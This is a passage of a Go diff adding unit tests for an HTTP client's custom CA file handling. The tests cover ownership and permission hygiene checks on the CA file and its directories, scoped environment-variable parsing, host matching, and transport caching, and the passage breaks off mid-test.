TestHasInteriorDotDot pins the boundary of that refusal: a ".." after +// another component is refused, but a leading run of them is not, since +// readLinkTarget takes it from a physical directory. +func TestHasInteriorDotDot(t *testing.T) { + for target, want := range map[string]bool{ + "y": false, + "../y": false, + "../../b/c": false, + "./../y": false, + "/r/b/y": false, + "/../y": false, + "d/../y": true, + "d/./../y": true, + "d/..": true, + "../d/../y": true, + "/r/d/../y": true, + "//r/d/../y": true, + } { + if got := hasInteriorDotDot(target); got != want { + t.Errorf("hasInteriorDotDot(%q) = %v, want %v", target, got, want) + } + } +} + +// TestCheckCAFilePermissionsRefusesWorldWritableGrandparent is finding 3: a +// world-writable GRANDparent (not just the immediate parent) must be +// refused — an attacker who can write the grandparent can rename the parent +// out of the way and replace it. +func TestCheckCAFilePermissionsRefusesWorldWritableGrandparent(t *testing.T) { + grandparent := t.TempDir() + if err := os.Chmod(grandparent, 0o777); err != nil { + t.Fatalf("chmod grandparent 0777: %v", err) + } + parent := filepath.Join(grandparent, "safe-looking-parent") + if err := os.Mkdir(parent, 0o700); err != nil { + t.Fatalf("mkdir parent: %v", err) + } + path := filepath.Join(parent, "ca.pem") + if err := os.WriteFile(path, []byte("x"), 0o600); err != nil { + t.Fatalf("write file: %v", err) + } + + if _, _, err := checkCAFilePermissions(path); err == nil { + t.Fatal("checkCAFilePermissions accepted a file whose grandparent directory is world-writable") + } +} + +// TestCheckCAFilePermissionsAllowsStickyWorldWritableAncestor confirms the +// sticky-directory exception: an ancestor with mode +t, however +// world-writable, is exempt, because only that entry's own owner may remove +// or rename it from under a sticky directory. +func TestCheckCAFilePermissionsAllowsStickyWorldWritableAncestor(t *testing.T) { + sticky := t.TempDir() + if err := os.Chmod(sticky, 0o777|os.ModeSticky); err != nil { + t.Fatalf("chmod sticky world-writable: %v", err) + } + parent := filepath.Join(sticky, "safe-parent") + if err := os.Mkdir(parent, 0o700); err != nil { + t.Fatalf("mkdir parent: %v", err) + } + path := filepath.Join(parent, "ca.pem") + if err := os.WriteFile(path, []byte("x"), 0o600); err != nil { + t.Fatalf("write file: %v", err) + } + + if _, _, err := checkCAFilePermissions(path); err != nil { + t.Errorf("checkCAFilePermissions refused a sticky world-writable ancestor: %v", err) + } +} + +// TestCheckCAFilePermissionsRefusesFileOwnedByAnotherUser is finding 3's +// ownership rule, exercised through the injectable statCAPathFn since this +// sandbox cannot chown a file to a second real uid without root: a file +// owned by neither root nor the running uid must be refused, even though its +// mode bits alone (0600) would otherwise look fine. +func TestCheckCAFilePermissionsRefusesFileOwnedByAnotherUser(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(path, []byte("x"), 0o600); err != nil { + t.Fatalf("write file: %v", err) + } + + restore := statCAPathFn + t.Cleanup(func() { statCAPathFn = restore }) + const otherUID = 0xFFFE // an implausible uid, never root, never the test runner + statCAPathFn = func(p string) (caFileStat, error) { + fi, err := restore(p) + if err != nil { + return fi, err + } + if p == path { + fi.uid = otherUID + } + return fi, nil + } + + _, _, err := checkCAFilePermissions(path) + if err == nil { + t.Fatal("checkCAFilePermissions accepted a file owned by a uid other than root or the running one") + } + if !strings.Contains(err.Error(), "owned by uid") { + t.Errorf("error %q does not explain the ownership failure", err) + } +} + +// TestCheckCAFilePermissionsAcceptsRootOwnedLayout is finding 3's positive +// case: the /etc/bd-style layout (root-owned, 0755 directories, 0644 +// files) must be accepted. Exercised through the injectable statCAPathFn, +// since this sandbox has no real root-owned tree to point at. +func TestCheckCAFilePermissionsAcceptsRootOwnedLayout(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(path, []byte("x"), 0o644); err != nil { + t.Fatalf("write file: %v", err) + } + + restore := statCAPathFn + t.Cleanup(func() { statCAPathFn = restore }) + statCAPathFn = func(p string) (caFileStat, error) { + fi, err := restore(p) + if err != nil { + return fi, err + } + // Simulate root ownership at every level, root-owned-layout modes. + fi.uid, fi.gid = 0, 0 + if fi.mode.IsDir() { + fi.mode = (fi.mode &^ os.ModePerm) | 0o755 + } else { + fi.mode = (fi.mode &^ os.ModePerm) | 0o644 + } + return fi, nil + } + + if _, _, err := checkCAFilePermissions(path); err != nil { + t.Errorf("checkCAFilePermissions refused a root-owned 0755/0644 layout: %v", err) + } +} + +// TestCheckCAFilePermissionsRefusesStickyAncestorOwnedByAnotherUser is +// finding 3: the sticky-directory exemption in checkOwnerAndMode covers the +// MODE/writability check only — it must never let a sticky ancestor owned by +// neither root nor the running euid pass. Exercised through the injectable +// statCAPathFn, since this sandbox cannot chown a real directory to a second +// uid without root. +func TestCheckCAFilePermissionsRefusesStickyAncestorOwnedByAnotherUser(t *testing.T) { + sticky := t.TempDir() + if err := os.Chmod(sticky, 0o777|os.ModeSticky); err != nil { + t.Fatalf("chmod sticky world-writable: %v", err) + } + path := filepath.Join(sticky, "ca.pem") + if err := os.WriteFile(path, []byte("x"), 0o600); err != nil { + t.Fatalf("write file: %v", err) + } + + restore := statCAPathFn + t.Cleanup(func() { statCAPathFn = restore }) + const otherUID = 0xFFFE // an implausible uid, never root, never the test runner + statCAPathFn = func(p string) (caFileStat, error) { + fi, err := restore(p) + if err != nil { + return fi, err + } + if p == sticky { + fi.uid = otherUID + } + return fi, nil + } + + _, _, err := checkCAFilePermissions(path) + if err == nil { + t.Fatal("checkCAFilePermissions accepted a sticky ancestor directory owned by a uid other than root or the running one") + } + if !strings.Contains(err.Error(), "owned by uid") { + t.Errorf("error %q does not explain the ownership failure", err) + } +} + +// TestCheckOwnerAndModeNeverExemptsLeafFileSticky kills the mutant that would +// drop the "isDir &&" half of checkOwnerAndMode's sticky-exemption condition: +// called directly with isDir=false (a leaf file, never a directory) and a +// mode that is both world-writable AND carries the sticky bit, the leaf must +// still be refused. Sticky has no protective meaning for a non-directory, and +// checkCAFilePermissionsHop's own structure means isDir is always false for +// the leaf — but that guarantee is worth pinning down directly, in case a +// future change routes some other isDir=false caller through this function. +func TestCheckOwnerAndModeNeverExemptsLeafFileSticky(t *testing.T) { + fi := caFileStat{mode: os.FileMode(0o777) | os.ModeSticky, uid: uint32(os.Geteuid())} //nolint:gosec // always non-negative + err := checkOwnerAndMode("/fake/ca.pem", fi, false) + if err == nil { + t.Fatal("checkOwnerAndMode exempted a non-directory (leaf) with the sticky bit set from the world-writable check") + } + if !strings.Contains(err.Error(), "world-writable") { + t.Errorf("error %q does not explain the world-writable refusal", err) + } +} + +// TestIsUserPrivateGroupFalseForRootGroup is finding 5's explicit root +// carve-out: root's own primary group (commonly also named "root") must +// never qualify for the user-private-group exemption, whatever the name and +// membership checks below it would otherwise conclude. +func TestIsUserPrivateGroupFalseForRootGroup(t *testing.T) { + if isUserPrivateGroup(0, 0) { + t.Error("isUserPrivateGroup reported true for root:root") + } +} + +// TestIsUserPrivateGroupNameComparisonExercisedDirectly is finding 5's +// explicit ask: exercise isUserPrivateGroup's own name-comparison line +// (g.Name != u.Username) through both arms, calling isUserPrivateGroup +// itself — never stubbing isUserPrivateGroupFn, which would bypass the +// comparison under test rather than exercise it. It uses the +// userLookupIDFn/userLookupGroupIDFn seams (not isUserPrivateGroupFn) to +// manufacture a uid/gid/username combination this sandbox's single real +// account cannot provide on demand. +func TestIsUserPrivateGroupNameComparisonExercisedDirectly(t *testing.T) { + restoreUser := userLookupIDFn + restoreGroup := userLookupGroupIDFn + restoreMembers := groupHasNoSupplementaryMembersFn + t.Cleanup(func() { + userLookupIDFn = restoreUser + userLookupGroupIDFn = restoreGroup + groupHasNoSupplementaryMembersFn = restoreMembers + }) + + const fakeUID, fakeGID = 4242, 4242 + fakeUIDStr := strconv.Itoa(fakeUID) + fakeGIDStr := strconv.Itoa(fakeGID) + userLookupIDFn = func(uid string) (*user.User, error) { + if uid == fakeUIDStr { + return &user.User{Uid: fakeUIDStr, Gid: fakeGIDStr, Username: "alice"}, nil + } + return restoreUser(uid) + } + // Stubbed to always report "no supplementary members" for fakeGID, in + // BOTH arms below: membership is a separate check from the name + // comparison under test here, and the real, unstubbed + // groupHasNoSupplementaryMembers would fail closed (false) for a gid that + // does not exist in this host's real /etc/group regardless of the name + // comparison's outcome — masking a mutant that neuters the name check + // instead of actually exercising it. + groupHasNoSupplementaryMembersFn = func(gid uint32) bool { + if gid == fakeGID { + return true + } + return restoreMembers(gid) + } + + // Arm 1: the group's name does NOT match the owner's username -> refused. + // A mutant that drops, inverts, or no-ops the "g.Name != u.Username" + // comparison would accept this. + userLookupGroupIDFn = func(gid string) (*user.Group, error) { + if gid == fakeGIDStr { + return &user.Group{Gid: fakeGIDStr, Name: "shared-group"}, nil + } + return restoreGroup(gid) + } + if isUserPrivateGroup(fakeUID, fakeGID) { + t.Error("isUserPrivateGroup reported true when the group's name does not match the owner's username") + } + + // Arm 2: the group's name DOES match the username -> accepted. + userLookupGroupIDFn = func(gid string) (*user.Group, error) { + if gid == fakeGIDStr { + return &user.Group{Gid: fakeGIDStr, Name: "alice"}, nil + } + return restoreGroup(gid) + } + if !isUserPrivateGroup(fakeUID, fakeGID) { + t.Error("isUserPrivateGroup reported false when username, group name, and gid all matched and the group had no supplementary members") + } +} + +// TestGroupHasNoSupplementaryMembersAgainstRealEtcGroup exercises the real, +// unstubbed groupHasNoSupplementaryMembers against this host's actual +// /etc/group, without going through groupHasNoSupplementaryMembersFn or +// isUserPrivateGroupFn at all: a group with a real, non-empty members field +// must return false, and (when the running user's own primary group follows +// the Debian/OpenSSH user-private-group convention) that group's empty +// members field must return true. +func TestGroupHasNoSupplementaryMembersAgainstRealEtcGroup(t *testing.T) { + data, err := os.ReadFile("/etc/group") + if err != nil { + t.Skipf("cannot read /etc/group on this host: %v", err) + } + + var sharedGID uint64 + foundShared := false + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + fields := strings.Split(line, ":") + if len(fields) < 4 || strings.TrimSpace(fields[3]) == "" { + continue + } + gid, err := strconv.ParseUint(fields[2], 10, 32) + if err != nil { + continue + } + sharedGID = gid + foundShared = true + break + } + if !foundShared { + t.Skip("no group with supplementary members found in /etc/group on this host") + } + if groupHasNoSupplementaryMembers(uint32(sharedGID)) { + t.Errorf("groupHasNoSupplementaryMembers(%d) reported true for a group with real members listed in /etc/group", sharedGID) + } + + ownGID := uint32(os.Getgid()) //nolint:gosec // always non-negative + if !groupHasNoSupplementaryMembers(ownGID) { + t.Skip("running user's own primary group is not a private (memberless) group on this host") + } +} + +// TestIsUserPrivateGroupTrueForRunningUsersOwnGroup documents the positive +// case directly: the running uid's own primary gid, looked up for real, +// reports as a user-private group on a host using the Debian/OpenSSH +// convention (this one does — see CLAUDE.md's note on Ubuntu +// user-private-groups). +func TestIsUserPrivateGroupTrueForRunningUsersOwnGroup(t *testing.T) { + uid := uint32(os.Getuid()) //nolint:gosec // always non-negative + gid := uint32(os.Getgid()) //nolint:gosec // always non-negative + if !isUserPrivateGroup(uid, gid) { + t.Skip("this host's running user does not use the Debian/OpenSSH user-private-group convention") + } +} + +// TestIsUserPrivateGroupFalseForUnknownIDs confirms the function fails +// closed (not private) rather than erroring or panicking when the ids do not +// resolve to a real account/group at all. +func TestIsUserPrivateGroupFalseForUnknownIDs(t *testing.T) { + if isUserPrivateGroup(0xFFFFFFF0, 0xFFFFFFF1) { + t.Error("isUserPrivateGroup reported true for ids that cannot possibly resolve to a real account") + } +} + +// TestCAFileHygieneAcceptsGroupWritableFileUnderUserPrivateGroup is finding +// 4's availability half: a umask-002 layout (Ubuntu's default +// user-private-groups scheme) produces 0775 directories and 0664 files owned +// by the running user's own primary group, which is no more shared than a +// umask-022 layout — group-write only reaches a group whose sole member, by +// convention, is the file's own owner. This must be ACCEPTED, not refused. +func TestCAFileHygieneAcceptsGroupWritableFileUnderUserPrivateGroup(t *testing.T) { + if !isUserPrivateGroup(uint32(os.Getuid()), uint32(os.Getgid())) { //nolint:gosec // uid/gid are always non-negative + t.Skip("this host's running user does not use the Debian/OpenSSH user-private-group convention") + } + clearCAEnvironment(t) + ca := newTestCA(t) + dir := t.TempDir() + if err := os.Chmod(dir, 0o775); err != nil { + t.Fatalf("chmod dir 0775: %v", err) + } + path := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(path, ca.pem, 0o664); err != nil { + t.Fatalf("write ca file: %v", err) + } + // WriteFile's mode passes through the umask (see the refusal case in + // ca_test.go): under umask 022 the file would land 0644, leaving only the + // directory to exercise the user-private-group exception. + if err := os.Chmod(path, 0o664); err != nil { + t.Fatalf("chmod ca file 0664: %v", err) + } + if _, err := TransportForFile(path); err != nil { + t.Fatalf("TransportForFile refused a umask-002 (0775/0664) layout under the owner's own user-private group: %v", err) + } +} diff --git a/internal/httpclient/ca_test.go b/internal/httpclient/ca_test.go new file mode 100644 index 000000000..0bfcdcbb5 --- /dev/null +++ b/internal/httpclient/ca_test.go @@ -0,0 +1,1307 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "bytes" + "context" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/json" + "encoding/pem" + "errors" + "fmt" + "io" + "math/big" + "net" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +// clearCAEnvironment puts BEADS_HTTP_CA_FILE into its not-configured state, the +// CA equivalent of clearCredentialEnvironment, so a test that names only the +// sidecar rung cannot pass because of an operator's own exported override. +func clearCAEnvironment(t *testing.T) { + t.Helper() + t.Setenv(CAFileEnv, "") +} + +// testCA is a self-signed CA plus one server leaf it has signed, built fresh +// per call so a "wrong CA" scenario never accidentally shares key material +// with the "right" one. +type testCA struct { + pem []byte + pool *x509.CertPool + leaf tls.Certificate +} + +// newTestCA builds a CA and a leaf for "localhost" / 127.0.0.1, the two forms +// an httptest server's URL can take. +func newTestCA(t *testing.T) testCA { + t.Helper() + + caKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + t.Fatalf("generate CA key: %v", err) + } + caTmpl := &x509.Certificate{ + SerialNumber: big.NewInt(1), + Subject: pkix.Name{CommonName: "bdent-e2 test CA " + t.Name()}, + NotBefore: time.Now().Add(-time.Hour), + NotAfter: time.Now().Add(time.Hour), + KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, + IsCA: true, + BasicConstraintsValid: true, + } + caDER, err := x509.CreateCertificate(rand.Reader, caTmpl, caTmpl, &caKey.PublicKey, caKey) + if err != nil { + t.Fatalf("create CA cert: %v", err) + } + caCert, err := x509.ParseCertificate(caDER) + if err != nil { + t.Fatalf("parse CA cert: %v", err) + } + caPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}) + + leafKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + t.Fatalf("generate leaf key: %v", err) + } + leafTmpl := &x509.Certificate{ + SerialNumber: big.NewInt(2), + Subject: pkix.Name{CommonName: "localhost"}, + NotBefore: time.Now().Add(-time.Hour), + NotAfter: time.Now().Add(time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + DNSNames: []string{"localhost"}, + IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, + } + leafDER, err := x509.CreateCertificate(rand.Reader, leafTmpl, caCert, &leafKey.PublicKey, caKey) + if err != nil { + t.Fatalf("create leaf cert: %v", err) + } + leafPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: leafDER}) + leafKeyDER, err := x509.MarshalECPrivateKey(leafKey) + if err != nil { + t.Fatalf("marshal leaf key: %v", err) + } + leafKeyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: leafKeyDER}) + + leaf, err := tls.X509KeyPair(leafPEM, leafKeyPEM) + if err != nil { + t.Fatalf("X509KeyPair: %v", err) + } + + pool := x509.NewCertPool() + pool.AddCert(caCert) + + return testCA{pem: caPEM, pool: pool, leaf: leaf} +} + +// secureTempDir returns a fresh temp directory chmod'd to 0700, the same +// hygiene checkCAFilePermissions (finding 7) requires of a CA file's parent +// directory. t.TempDir() defaults to a group-writable mode in some sandboxes +// (observed here: 0775), which that check correctly refuses — the check is +// doing its job, so the fix belongs in the test fixture, not in the product +// code. Every test that writes a CA (or CA-adjacent) file must create it +// under a directory this helper cleaned, not directly under a bare +// t.TempDir(). +func secureTempDir(t *testing.T) string { + t.Helper() + dir := t.TempDir() + if err := os.Chmod(dir, 0o700); err != nil { + t.Fatalf("chmod temp dir: %v", err) + } + return dir +} + +// writePEM writes the CA's own certificate (never the server leaf) to a file a +// test can point ca_file / BEADS_HTTP_CA_FILE at. +func (ca testCA) writePEM(t *testing.T) string { + t.Helper() + return writeCAFile(t, ca.pem) +} + +// writeCAFile writes data to a fresh, hygiene-clean temp file; see +// secureTempDir. +func writeCAFile(t *testing.T, data []byte) string { + t.Helper() + path := filepath.Join(secureTempDir(t), "ca.pem") + if err := os.WriteFile(path, data, 0o600); err != nil { + t.Fatalf("write CA pem: %v", err) + } + return path +} + +// startServer starts an httptest TLS server whose leaf this CA signed, and +// returns a URL that names the host "localhost" (a hostname, not an IP +// literal) so SNI is actually sent — httptest's default 127.0.0.1 URL would +// make the SNI/Host assertions vacuous, since crypto/tls never sends SNI for +// an IP-literal ServerName. +func (ca testCA) startServer(t *testing.T, handler http.HandlerFunc) *url.URL { + t.Helper() + srv := httptest.NewUnstartedServer(handler) + srv.TLS = &tls.Config{Certificates: []tls.Certificate{ca.leaf}} + srv.StartTLS() + t.Cleanup(srv.Close) + + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatalf("parse server URL: %v", err) + } + _, port, err := net.SplitHostPort(u.Host) + if err != nil { + t.Fatalf("split host:port: %v", err) + } + u.Host = net.JoinHostPort("localhost", port) + return u +} + +// forceIPv4Loopback makes rt (the concrete *http.Transport TransportFor and +// TransportForFile always return) dial exclusively over tcp4, never tcp6. +// +// Every TLS fixture in this file addresses its server by the hostname +// "localhost" rather than the IP literal startServer actually bound to +// (127.0.0.1), specifically so SNI is sent. But net/http's default dialer +// does RFC 6555 Happy Eyeballs for a hostname that resolves to more than one +// address family, racing a tcp6 dial to ::1: against the real tcp4 +// dial to 127.0.0.1:. On a host that already has other, unrelated +// processes bound to high ports on ::1 (observed here: JVM tooling), that +// race can occasionally "win" against a listener that has nothing to do +// with this test, before the real tcp4 dial completes. The client then +// speaks TLS to that unrelated process instead of the test server and the +// handshake fails with a misleading "first record does not look like a TLS +// handshake" rather than exercising the CA logic under test at all — +// the flake this helper exists to remove. Restricting the network to +// "tcp4" removes the race outright; SNI and the request's Host are +// unaffected, since crypto/tls and net/http derive both from the URL's +// host, never from which address family actually carried the bytes. +func forceIPv4Loopback(t *testing.T, rt http.RoundTripper) { + t.Helper() + transport, ok := rt.(*http.Transport) + if !ok { + t.Fatalf("forceIPv4Loopback: RoundTripper is %T, want *http.Transport", rt) + } + dialer := &net.Dialer{Timeout: 30 * time.Second, KeepAlive: 30 * time.Second} + transport.DialContext = func(ctx context.Context, _, addr string) (net.Conn, error) { + return dialer.DialContext(ctx, "tcp4", addr) + } +} + +// caContextHandler answers the handshake like contextServer, and additionally +// records the SNI name and Host header the request actually carried, so a test +// can prove TransportFor never overrides either. +type caContextHandler struct { + body apigen.ContextResponse + sni string + host string + requestSeen bool +} + +func (h *caContextHandler) handler() http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + h.requestSeen = true + h.host = r.Host + if r.TLS != nil { + h.sni = r.TLS.ServerName + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(h.body) + } +} + +func TestTransportForNoCAConfiguredIsUnchanged(t *testing.T) { + clearCAEnvironment(t) + rt, err := TransportFor(Target{}) + if err != nil { + t.Fatalf("TransportFor with no CA configured: %v", err) + } + if rt != nil { + t.Errorf("TransportFor returned a non-nil transport with no CA configured: %#v", rt) + } +} + +func TestTransportForMissingFileRefusesClearly(t *testing.T) { + clearCAEnvironment(t) + absent := filepath.Join(t.TempDir(), "does-not-exist.pem") + rt, err := TransportFor(Target{CAFile: absent}) + if err == nil { + t.Fatal("TransportFor accepted a missing ca_file") + } + if rt != nil { + t.Error("TransportFor returned a non-nil transport on error") + } + if !strings.Contains(err.Error(), absent) { + t.Errorf("error %q does not name the missing path %q", err, absent) + } + if !strings.Contains(err.Error(), "ca_file") { + t.Errorf("error %q does not say which setting (ca_file) is at fault", err) + } +} + +func TestTransportForUnreadableFileRefusesClearly(t *testing.T) { + if os.Geteuid() == 0 { + t.Skip("root ignores file permissions") + } + clearCAEnvironment(t) + path := filepath.Join(secureTempDir(t), "unreadable.pem") + if err := os.WriteFile(path, []byte("whatever"), 0o000); err != nil { + t.Fatalf("write unreadable file: %v", err) + } + _, err := TransportFor(Target{CAFile: path}) + if err == nil { + t.Fatal("TransportFor accepted an unreadable ca_file") + } +} + +func TestTransportForGarbageFileRefusesClearly(t *testing.T) { + clearCAEnvironment(t) + path := filepath.Join(secureTempDir(t), "garbage.pem") + if err := os.WriteFile(path, []byte("this is not a PEM certificate\n"), 0o600); err != nil { + t.Fatalf("write garbage file: %v", err) + } + rt, err := TransportFor(Target{CAFile: path}) + if err == nil { + t.Fatal("TransportFor accepted a non-PEM ca_file") + } + if rt != nil { + t.Error("TransportFor returned a non-nil transport on error") + } + if !strings.Contains(err.Error(), "PEM") { + t.Errorf("error %q does not say the file has no PEM certificates", err) + } +} + +// TestTransportForEnvLabelsErrorsWithTheEnvName checks the refusal names +// BEADS_HTTP_CA_FILE, not "ca_file", when the env rung is the one that is +// broken — a refusal has to point at the thing to fix. +func TestTransportForEnvLabelsErrorsWithTheEnvName(t *testing.T) { + clearCAEnvironment(t) + absent := filepath.Join(t.TempDir(), "absent.pem") + u, err := url.Parse("https://example.com:8443") + if err != nil { + t.Fatalf("parse url: %v", err) + } + t.Setenv(CAFileEnv, u.Host+"="+absent) + _, err = TransportFor(Target{BaseURL: u}) + if err == nil { + t.Fatal("TransportFor accepted a missing BEADS_HTTP_CA_FILE") + } + if !strings.Contains(err.Error(), CAFileEnv) { + t.Errorf("error %q does not name %s", err, CAFileEnv) + } +} + +// TestTransportForEnvMalformedValueRefuses is finding 1(b)'s "refuse a +// malformed value" requirement: a bare path, with no host[:port]= prefix, is +// no longer accepted at all — the old, unscoped syntax this replaces. +func TestTransportForEnvMalformedValueRefuses(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + t.Setenv(CAFileEnv, ca.writePEM(t)) // bare path, no "host=" prefix + _, err := TransportFor(Target{}) + if err == nil { + t.Fatal("TransportFor accepted a bare-path BEADS_HTTP_CA_FILE with no host scope") + } + if !strings.Contains(err.Error(), CAFileEnv) { + t.Errorf("error %q does not name %s", err, CAFileEnv) + } +} + +// --- finding 5 (round 2 review): parseCAFileEnv split point and absolute path --- + +// TestParseCAFileEnvSplitsOnFirstEquals proves a path containing "=" (legal +// in a POSIX filename, if unusual) parses by splitting on the FIRST "=", not +// the last: splitting on the last would silently fold the "=" into the host +// pattern instead of the path, mis-parsing rather than refusing. +func TestParseCAFileEnvSplitsOnFirstEquals(t *testing.T) { + dir := t.TempDir() + weird := filepath.Join(dir, "ca=file.pem") + host, path, err := parseCAFileEnv("example.com=" + weird) + if err != nil { + t.Fatalf("parseCAFileEnv: %v", err) + } + if host != "example.com" { + t.Errorf("host = %q, want example.com", host) + } + if path != weird { + t.Errorf("path = %q, want %q", path, weird) + } +} + +// TestParseCAFileEnvRequiresAbsolutePath is finding 5: a relative path's +// meaning would depend on the process's current directory at resolution +// time, which the sidecar and --ca-file paths never do — refuse it outright +// rather than resolve it against an ambient cwd. +func TestParseCAFileEnvRequiresAbsolutePath(t *testing.T) { + _, _, err := parseCAFileEnv("example.com=relative/ca.pem") + if err == nil { + t.Fatal("parseCAFileEnv accepted a relative path") + } + if !strings.Contains(err.Error(), "absolute") { + t.Errorf("error %q does not say the path must be absolute", err) + } +} + +// TestParseCAFileEnvRefusesEmptyPort is finding 7 (round 3 review): a host +// pattern that ends in a bare ":" with nothing after it (or the IPv6 literal +// equivalent) is malformed — neither of the two meanings a colon carries +// here (absent entirely: any port; host:port: exactly one) is a reasonable +// guess for what an empty port after it was meant to say. +func TestParseCAFileEnvRefusesEmptyPort(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "ca.pem") + + for _, raw := range []string{ + "h.example:=" + path, + "[::1]:=" + path, + } { + t.Run(raw, func(t *testing.T) { + _, _, err := parseCAFileEnv(raw) + if err == nil { + t.Fatalf("parseCAFileEnv(%q) accepted a host pattern with an empty port", raw) + } + if !strings.Contains(err.Error(), "no port") { + t.Errorf("error %q does not explain the empty-port refusal", err) + } + }) + } +} + +// --- finding 5 (round 2 review): caHostMatches normalization --- + +func TestCAHostMatchesTable(t *testing.T) { + mustURL := func(t *testing.T, raw string) *url.URL { + t.Helper() + u, err := url.Parse(raw) + if err != nil { + t.Fatalf("parse %q: %v", raw, err) + } + return u + } + + cases := []struct { + name string + pattern string + target string + want bool + wantErr bool + }{ + {"exact match", "example.com", "https://example.com/", true, false}, + {"case-insensitive", "Example.COM", "https://example.com/", true, false}, + {"trailing dot on pattern", "example.com.", "https://example.com/", true, false}, + {"trailing dot on target host", "example.com", "https://example.com./", true, false}, + {"no-port pattern matches any target port", "example.com", "https://example.com:8443/", true, false}, + {"explicit port matches default https port implicit in target", "example.com:443", "https://example.com/", true, false}, + {"explicit port matches default http port implicit in target", "example.com:80", "http://example.com/", true, false}, + {"explicit port mismatch refused", "example.com:443", "https://example.com:8443/", false, false}, + {"different host refused", "example.com", "https://other.example.com/", false, false}, + {"ipv6 literal exact", "[::1]:8443", "https://[::1]:8443/", true, false}, + {"ipv6 literal default port", "[::1]", "https://[::1]/", true, false}, + {"ipv6 literal host mismatch", "[::1]", "https://[::2]/", false, false}, + // finding 7 (round 3 review): IDNA/punycode normalization, both + // directions, and a hostname that plain ASCII lowercasing could + // never make agree with its punycode form. + {"idna: unicode pattern matches punycode target", "café.example", "https://xn--caf-dma.example/", true, false}, + {"idna: punycode pattern matches unicode target", "xn--caf-dma.example", "https://café.example/", true, false}, + {"idna: unicode both sides, exact match", "café.example", "https://café.example/", true, false}, + {"idna: unicode host mismatch still refused", "café.example", "https://other.example/", false, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + target := Target{BaseURL: mustURL(t, tc.target)} + got, err := caHostMatches(tc.pattern, target) + if tc.wantErr { + if err == nil { + t.Errorf("caHostMatches(%q, %q) returned no error, want one", tc.pattern, tc.target) + } + return + } + if err != nil { + t.Fatalf("caHostMatches(%q, %q) returned unexpected error: %v", tc.pattern, tc.target, err) + } + if got != tc.want { + t.Errorf("caHostMatches(%q, %q) = %v, want %v", tc.pattern, tc.target, got, tc.want) + } + }) + } +} + +// --- finding 5 (round 2 review): sameCAFile --- + +func TestSameCAFile(t *testing.T) { + dir := t.TempDir() + abs := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(abs, []byte("x"), 0o600); err != nil { + t.Fatalf("write file: %v", err) + } + other := filepath.Join(dir, "other.pem") + if err := os.WriteFile(other, []byte("y"), 0o600); err != nil { + t.Fatalf("write file: %v", err) + } + + if !sameCAFile(abs, abs) { + t.Error("sameCAFile(x, x) = false, want true") + } + if !sameCAFile(abs, filepath.Join(dir, ".", "ca.pem")) { + t.Error("sameCAFile did not treat an unclean-but-equivalent path as the same file") + } + if sameCAFile(abs, other) { + t.Error("sameCAFile treated two distinct files as the same") + } + if sameCAFile("", "") == false { + t.Error("sameCAFile('', '') = false, want true (both unset)") + } + if sameCAFile("", abs) { + t.Error("sameCAFile('', abs) = true, want false") + } +} + +// TestTransportForReplacesRootPoolNotExtends is the mutation-check on the +// REPLACE requirement: the returned transport's RootCAs must be EXACTLY a +// fresh pool holding only the configured CA — never the system pool plus an +// append, which is what would let the Gas City Beads Serve CA (no name +// constraints) vouch for hosts far outside the one target it was scoped to. +func TestTransportForReplacesRootPoolNotExtends(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + target := Target{CAFile: ca.writePEM(t)} + + rt, err := TransportFor(target) + if err != nil { + t.Fatalf("TransportFor: %v", err) + } + transport, ok := rt.(*http.Transport) + if !ok { + t.Fatalf("TransportFor returned %T, want *http.Transport", rt) + } + if transport.TLSClientConfig == nil { + t.Fatal("TLSClientConfig is nil") + } + if transport.TLSClientConfig.ServerName != "" { + t.Errorf("ServerName = %q, want empty: SNI must come from the request URL, not be pinned here", transport.TLSClientConfig.ServerName) + } + got := transport.TLSClientConfig.RootCAs + if got == nil { + t.Fatal("RootCAs is nil") + } + if !got.Equal(ca.pool) { + t.Error("RootCAs is not exactly {the configured CA}; a mutation merging it into the system pool (or any other pool) would still pass a looser check but fails this one") + } +} + +// TestTransportForFileCachesByPathAndContent is finding 6's cache-hit case: two +// calls naming the SAME (absolute path, content) pair must return the exact +// same *http.Transport, so a long-lived process reuses one connection pool +// instead of building (and leaking) a fresh transport on every dial. +func TestTransportForFileCachesByPathAndContent(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + path := ca.writePEM(t) + + first, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (first): %v", err) + } + second, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (second): %v", err) + } + if firstT, ok := first.(*http.Transport); !ok || second.(*http.Transport) != firstT { + 